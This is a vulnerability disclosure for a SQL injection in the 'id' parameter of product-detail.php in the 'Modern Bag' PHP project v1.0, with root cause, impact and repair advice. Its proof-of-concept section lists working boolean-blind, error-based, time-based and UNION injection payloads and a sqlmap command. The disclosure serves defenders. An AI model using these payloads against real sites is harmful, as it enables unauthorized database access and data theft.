code-projects Modern Bag Project V1.0/product-detail.php SQL injection
NAME OF AFFECTED PRODUCT(S)
Modern Bag
Vendor Homepage
https://code-projects.org/modern-bag-in-php-css-javascript-and-mysql-free-download/
AFFECTED AND/OR FIXED VERSION(S)
submitter
xiaozhengrs
Vulnerable File
/product-detail.php
VERSION(S)
V1.0
Software Link
https://code-projects.org/modern-bag-in-php-css-javascript-and-mysql-free-download/
PROBLEM TYPE
Vulnerability Type
SQL injection
Root Cause
A SQL injection vulnerability was found in the '/product-detail.php' file of the 'Modern Bag' project. The reason for this issue is that attackers inject malicious code from the parameter 'id' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
Impact
Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
During the security review of "Modern Bag",I discovered a critical SQL injection vulnerability in the "/product-detail.php" file. This vulnerability stems from insufficient user input validation of the 'id‘ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability lonameion:
'id' parameter
Payload:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 8018=8018
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 OR (SELECT 7637 FROM(SELECT COUNT(*),CONCAT(0x71626b7a71,(SELECT (ELT(7637=7637,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9476 FROM (SELECT(SLEEP(5)))hbIH)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71626b7a71,0x7a4e5173444d7945574155696750765a4971524d58574c4f684874736a5a65465946696954424d41,0x716a707a71),NULL,NULL,NULL,NULL-- -
---
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
sqlmap -u "http://127.0.0.1/ModernBag_Web_PHP-master/product-detail.php " --data="id" --dbs
Suggested repair
1. Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
4. Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.